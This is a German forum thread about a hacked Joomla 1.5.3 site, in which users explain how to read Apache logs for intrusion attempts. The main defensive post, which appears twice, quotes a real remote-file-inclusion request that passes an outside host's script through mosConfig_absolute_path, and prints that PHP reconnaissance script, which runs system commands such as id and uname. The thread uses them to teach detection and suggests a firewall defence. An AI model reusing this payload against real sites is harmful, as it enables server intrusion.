Thema: Joomla! 1.5.3 gehackt

Zitat von Joe Sixpack

wenn man Komponenten, Plugins etc installiert hat, die evt nicht sicher sind, diese jedoch nicht aktiviert hat, sind diese dann immer noch ein Sicherheitsrisiko?

Ich würde @flotte zustimmmen und das ebenfalls mit Ja beantworten.

Grund aus meiner Sicht: Die unsicheren Komponenten sind nicht deshalb unsicher weil sie aktiviert sind oder nicht, sondern weil sie in den Scripten Schwachstellen haben. Diese Schwachstellen werden per Robot mit entsprechend manipulierten Variablen systematisch ausgetestet und, so die Dateien noch auf dem Server liegen, manipuliert.

MFG. Ricola

Zitat von norbu

Im Moment habe ich mit OpenOffice geöffnet, aber das ist leider nicht übersichtlich.

Ich nutze neben Excel auch OpenOffice.org, und das geht damit auch recht einfach. Die LOG-Files müssen natürlich als CVS oder .TXT vorliegen. Dazu habe ich sie einfach in einen Texteditor geladen und als .txt Datei abgespeichert.
Den Calc öffnen - Einfügen -> Tabelle aus Datei
Dann in der Checkliste _ Getrennt und dann ausprobieren, womit die LOG-Files getrennt wurden, bei mir sind es Komma und Leerzeichen, dann siehst Du schon, wie die Spalten später aussehen werden.
Wenn die Datei zu groß ist, dann musst Du sie vorher teilen.

Nach dem Laden der Datei, kannst Du dann einen Filter setzen -> Daten -> Filter ->AutoFilter setzen
So kannst Du die einzelnen Spalten durchsuchen.
Ich habe auch andere Programme, aber die werten mir viel zu viel aus und sind für mich umständlicher.
Mit Excel geht das fast genauso.
Viele Grüße
Petra

Zitat von norbu

Danke,
ich habe jetzt mit dem Editor ConTEXT alles sauber lesbar untereinander. Aber nach welchen Kriterien muss ich suchen? Wie sieht es aus, wenn einer ein Script reinschmuggelt? Ich konnte bis jetzt nichts Verdächtiges erkennen.
Gruß, Norbert

Um effizient nach hackversuchen zu suchen, solltest Du zuerst aus dem Log die Spalte mit dem Referrer enfernen (weil da sehr oft die Zeichenkette http:// drin vorkommt). Eine typische Log-Zeile von einem Hack-Versuch (apache combined style) sieht so aus:

Code:

213.35.225.138 - - [22/Jun/2008:05:26:45 +0200] "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1" 200 10930 "-" "libwww-perl/5.805"

Das log kann man in mehrere Spalten aufteilen (Fehlende Information ist dort normalerweise durch ein einzelnes Minus (-) repräsentiert":

1. IP-Adresse: Im Beispiel oben: 213.35.225.138
2. User-ID: Im Beispiel oben: -
3. Username: Im Beispiel oben: -
4. Zeitstempel: Im Beispiel oben: [22/Jun/2008:05:26:45 +0200]
5. Request: Im Beispiel oben: "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1"
6. Result-Code: Im Beispiel oben 200 (OK)
7. Bytecount der Response: Im Beispiel oben: 10930
8. Referrer: Im Beispiel oben: "-"
9. User-Agent: Im Beispiel oben: "libwww-perl/5.805"

Die interessante Stelle ist hier immer der Request. Im Beispiel wird versucht, über die CGI-Variable mosConfig_absolute_path ein hack-script von chucksden.com (ein schon vorab gehackter Server) nachzuladen, welches dann die 2. Stufe eines Angriffs ausführen soll. Genau dort musst Du ansetzen: Alle Requests, in denen "http://" oder "ftp://" vorkommt sollten erst mal näher unter die Lupe genommen werden. Man kann aber nicht einfach nur nach http:// oder ftp:// suchen, weil diese Zeichenkette sehr oft auch im Referrer vorkommt. Idealerweise entfernt man die Spalte "Referrer" also vor der Suche. Wenn man sich das Script unter der obigen Adresse manuell zieht, sieht man hier dann z.B. folgendes:

Code:

<?
echo "Dosha<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "Dosha ONLINE<br>";
exit;
?>

Im Beispiel handelt es sich also um den zunächst noch recht "harmlosen" Versuch, erst mal genauere Infos über das angegriffene System rauszubekommen, um anhand dessen zu entscheiden ob - und wenn ja mit welchen Tools - man den Angriff fortsetzen kann.
Dass im vorliegenden Fall als User-Agent "libwww-perl/5.805" verwendet wurde, läßt darauf schliessen, dass der Angreifer wohl irgendein Script-Kiddie ohne grosartiges KnowHow war. Richtige Angreifer setzen hier natürlich die Signatur von IE oder FF ein.

Hoffe, das gibt Dir ein paar Anhaltspunkte
-Fritz

Zitat von felfert

Um effizient nach hackversuchen zu suchen, solltest Du zuerst aus dem Log die Spalte mit dem Referrer enfernen (weil da sehr oft die Zeichenkette http:// drin vorkommt). Eine typische Log-Zeile von einem Hack-Versuch (apache combined style) sieht so aus:

Code:

213.35.225.138 - - [22/Jun/2008:05:26:45 +0200] "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1" 200 10930 "-" "libwww-perl/5.805"

Das log kann man in mehrere Spalten aufteilen (Fehlende Information ist dort normalerweise durch ein einzelnes Minus (-) repräsentiert":

1. IP-Adresse: Im Beispiel oben: 213.35.225.138
2. User-ID: Im Beispiel oben: -
3. Username: Im Beispiel oben: -
4. Zeitstempel: Im Beispiel oben: [22/Jun/2008:05:26:45 +0200]
5. Request: Im Beispiel oben: "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1"
6. Result-Code: Im Beispiel oben 200 (OK)
7. Bytecount der Response: Im Beispiel oben: 10930
8. Referrer: Im Beispiel oben: "-"
9. User-Agent: Im Beispiel oben: "libwww-perl/5.805"

Die interessante Stelle ist hier immer der Request. Im Beispiel wird versucht, über die CGI-Variable mosConfig_absolute_path ein hack-script von chucksden.com (ein schon vorab gehackter Server) nachzuladen, welches dann die 2. Stufe eines Angriffs ausführen soll. Genau dort musst Du ansetzen: Alle Requests, in denen "http://" oder "ftp://" vorkommt sollten erst mal näher unter die Lupe genommen werden. Man kann aber nicht einfach nur nach http:// oder ftp:// suchen, weil diese Zeichenkette sehr oft auch im Referrer vorkommt. Idealerweise entfernt man die Spalte "Referrer" also vor der Suche. Wenn man sich das Script unter der obigen Adresse manuell zieht, sieht man hier dann z.B. folgendes:

Code:

<?
echo "Dosha<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "Dosha ONLINE<br>";
exit;
?>

Im Beispiel handelt es sich also um den zunächst noch recht "harmlosen" Versuch, erst mal genauere Infos über das angegriffene System rauszubekommen, um anhand dessen zu entscheiden ob - und wenn ja mit welchen Tools - man den Angriff fortsetzen kann.
Dass im vorliegenden Fall als User-Agent "libwww-perl/5.805" verwendet wurde, läßt darauf schliessen, dass der Angreifer wohl irgendein Script-Kiddie ohne grosartiges KnowHow war. Richtige Angreifer setzen hier natürlich die Signatur von IE oder FF ein.

Hoffe, das gibt Dir ein paar Anhaltspunkte
-Fritz

Edit:
Aus obiger Vorgehensweise des Angreifers ergibts sich übrigens auch gleich der ideale Ansatzpunkt, so etwas zu unterbinden: Bei 99.9% aller Angriffe wird es versucht, den Webserver dazu zu bringen, etwas von einem anderen Host nachzuladen. Genau dies kann man mit einer Firewall verhindern, in dem man ausgehende Verbindungen (vom Webserver aus gesehen) auf den gängigen ports blockt. Bei solch einem Blocking kann es dann zwar immer noch passieren, das der GET request auf eine unsichere Komponente im PHP stösst und der Server den Versuch macht, das Script nachzuladen. Letzteres geht aber dann schief und der Angriff geht somit den Bach runter. Es gibt einige Komponenten, die solche externen Zugriffe jedoch für die Funktion brauchen: Wer z.B. fremde RSS-Feeds sammelt oder Game-Server abfragen möchte, muss dann natürlich für die - meist sowieso im Vorfeld bekannten - Remote-IP's halt Ausnahmeregeln anlegen.

Edit2: Whoops, das war ein Doppelpost statt Edit .... Sorry.

Hallo norbu

Zitat von norbu

Vielen Dank Uwe,

ich habe die Logs vom Hoster auf den Rechner geladen.
Gibt es Programme zur einfachen Auswertung der Dateien, am besten freeware? Nach was muß ich suchen, bzw. welche Vorgänge sind als verdächtig einzustufen?
Im Moment habe ich mit OpenOffice geöffnet, aber das ist leider nicht übersichtlich.

Gruß, Norbert

Ich hatte mir diese Frage vor einiger Zeit auch gestellt und habe einfach mal gegoogelt. Folgende interessante Programme hatte ich gefunden. Allerdings habe ich keines davon getestet. Schau dir sie mal an, ein Feedback wäre allerdings super.
http://awstats.sourceforge.net/
http://www.heise.de/software/download/webalizer/2038